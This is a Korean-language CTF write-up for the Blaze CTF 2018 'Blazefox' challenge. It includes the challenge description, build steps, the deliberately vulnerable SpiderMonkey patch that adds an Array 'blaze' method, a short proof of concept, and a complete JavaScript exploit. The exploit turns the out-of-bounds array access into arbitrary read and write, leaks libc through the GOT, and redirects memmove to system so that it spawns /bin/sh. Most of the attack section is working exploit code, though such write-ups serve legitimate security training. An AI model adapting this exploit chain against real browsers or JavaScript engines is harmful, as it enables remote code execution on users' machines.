Blaze CTF 2018 - Blazefox

Posted on Aug 14, 2020
This is a standard build of firefox nightly pulled on 4/6.

How it was built:
    Following https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Simple_Firefox_build/Linux_and_MacOS_build_preparation

    python bootstrap.py
    hg clone https://hg.mozilla.org/mozilla-central
    hg checkout ee6283795f41
    hg import blaze.patch --no-commit
    ./mach build

The larger download contains the built firefox and the docker env.

We run it in the docker container with
    /firefox/dist/bin/firefox --headless <url>
The container has a profile to disable sandboxing, you're welcome

The flag is in /flag in the container.

Blaze CTF 2018에 출제되었던 Spidermonkey Exploit 문제다.

아래의 명령어로 당시 firefox의 코드를 가져오고, blaze.patch를 적용한 뒤 Spidermonkey만 빌드해줬다. (firefox 전체를 빌드하는 것은 무리..)

hg clone http://hg.mozilla.org/mozilla-central spidermonkey
cd spidermonkey
hg checkout ee6283795f41
hg import blaze.patch --no-commit
cp configure.in configure && autoconf2.13
mkdir build_DBG.OBJ 
cd build_DBG.OBJ 
../configure --disable-optimize
make

모두 끝나면 build_DBG.OBJ/dist/bin/js에 Spidermonkey shell이 컴파일 된다.

blaze.path

diff -r ee6283795f41 js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp	Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.cpp	Sun Apr 08 00:01:23 2018 +0000
@@ -192,6 +192,20 @@
     return ToLength(cx, value, lengthp);
 }

+static MOZ_ALWAYS_INLINE bool
+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
+{
+    if (obj->is<ArrayObject>()) {
+        obj->as<ArrayObject>().setLengthInt32(length);
+        obj->as<ArrayObject>().setCapacityInt32(length);
+        obj->as<ArrayObject>().setInitializedLengthInt32(length);
+        return true;
+    }
+    return false;
+}
+
+
+
 /*
  * Determine if the id represents an array index.
  *
@@ -1578,6 +1592,23 @@
     return DenseElementResult::Success;
 }

+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)
+{
+    CallArgs args = CallArgsFromVp(argc, vp);
+    RootedObject obj(cx, ToObject(cx, args.thisv()));
+    if (!obj)
+        return false;
+
+    if (!BlazeSetLengthProperty(cx, obj, 420))
+        return false;
+
+    //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);
+
+    args.rval().setObject(*obj);
+    return true;
+}
+
+
 // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce
 // 22.1.3.21 Array.prototype.reverse ( )
 bool
@@ -3511,6 +3542,8 @@
     JS_FN("unshift",            array_unshift,      1,0),
     JS_FNINFO("splice",         array_splice,       &array_splice_info, 2,0),

+    JS_FN("blaze",            array_blaze,      0,0),
+
     /* Pythonic sequence methods. */
     JS_SELF_HOSTED_FN("concat",      "ArrayConcat",      1,0),
     JS_INLINABLE_FN("slice",    array_slice,        2,0, ArraySlice),
diff -r ee6283795f41 js/src/builtin/Array.h
--- a/js/src/builtin/Array.h	Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.h	Sun Apr 08 00:01:23 2018 +0000
@@ -166,6 +166,9 @@
 array_reverse(JSContext* cx, unsigned argc, js::Value* vp);

 extern bool
+array_blaze(JSContext* cx, unsigned argc, js::Value* vp);
+
+extern bool
 array_splice(JSContext* cx, unsigned argc, js::Value* vp);

 extern const JSJitInfo array_splice_info;
diff -r ee6283795f41 js/src/vm/ArrayObject.h
--- a/js/src/vm/ArrayObject.h	Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/vm/ArrayObject.h	Sun Apr 08 00:01:23 2018 +0000
@@ -60,6 +60,14 @@
         getElementsHeader()->length = length;
     }

+    void setCapacityInt32(uint32_t length) {
+        getElementsHeader()->capacity = length;
+    }
+
+    void setInitializedLengthInt32(uint32_t length) {
+        getElementsHeader()->initializedLength = length;
+    }
+
     // Make an array object with the specified initial state.
     static inline ArrayObject*
     createArray(JSContext* cx,

Array 객체에 blaze 메소드가 추가된 것을 확인할 수 있으며, blaze가 호출될 시 해당 Array의 LengthProperty가 420으로 설정된다.

Array를 작게 할당해 Uint32Array와 근접하게 할당시키고, OOB 취약점으로 Uint32Array 포인터를 조작하면 AAW/AAR이 가능.

PIE 끄고 빌드해서 고정 주소로 익스했지만, 만약 켜져있다면 객체 주변에 emptyElementsHeader+16 포인터가 있으니 이를 릭하면 된다.

poc

var oob = Array(1);
oob.blaze();
console.log(oob[123]);

exp

function d_to_i2(d){
     var a = new Uint32Array(new Float64Array([d]).buffer);
     return [a[1], a[0]];
}

function i2_to_d(x){
     return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}

function i2_to_hex(i2){
        var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
        var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
     return [v1,v2];
}

function p_i2(d){
     print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1]);
}

function r_i2(d){
  return(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1]);
}

var oob = new Array(1);
oob[0] = 0x31787280;

var uint32_arr = new Uint32Array(0x300);
for (var i=0; i<0x300; i++)
{
  uint32_arr[i] = 0xdbdbdbdb;
}

oob.blaze();

var oob_idx;
var uint32_addr;

for (var i=0; i<420; i++)
{
  if (oob[i]==0x300)
  {
    oob_idx = i+2;
    uint32_addr = oob[oob_idx];
    break;
  }
}
console.log('oob idx : ' + oob_idx);
console.log('uint32_arr : ' + r_i2(uint32_addr));

oob[oob_idx] = i2_to_d([0x0, 0x1834000]); // __libc_start_main@got.plt

var leak = i2_to_hex([uint32_arr[1],uint32_arr[0]]);
var libc = parseInt(leak[0]+leak[1], 16) - 0x20740;
var system = libc + 0x45390;

console.log('libc : 0000' + libc.toString(16));
console.log('system : 0000' + libc.toString(16));

var target = new Uint8Array(100);
var cmd = "/bin/sh";

for (var i = 0; i < cmd.length; i++)
    target[i] = cmd.charCodeAt(i);

oob[oob_idx] = i2_to_d([0x0, 0x1834040]); // memmove@got.plt
uint32_arr[0] = system & 0xffffffff;
uint32_arr[1] = parseInt(leak[0], 16)

target.copyWithin(0,1);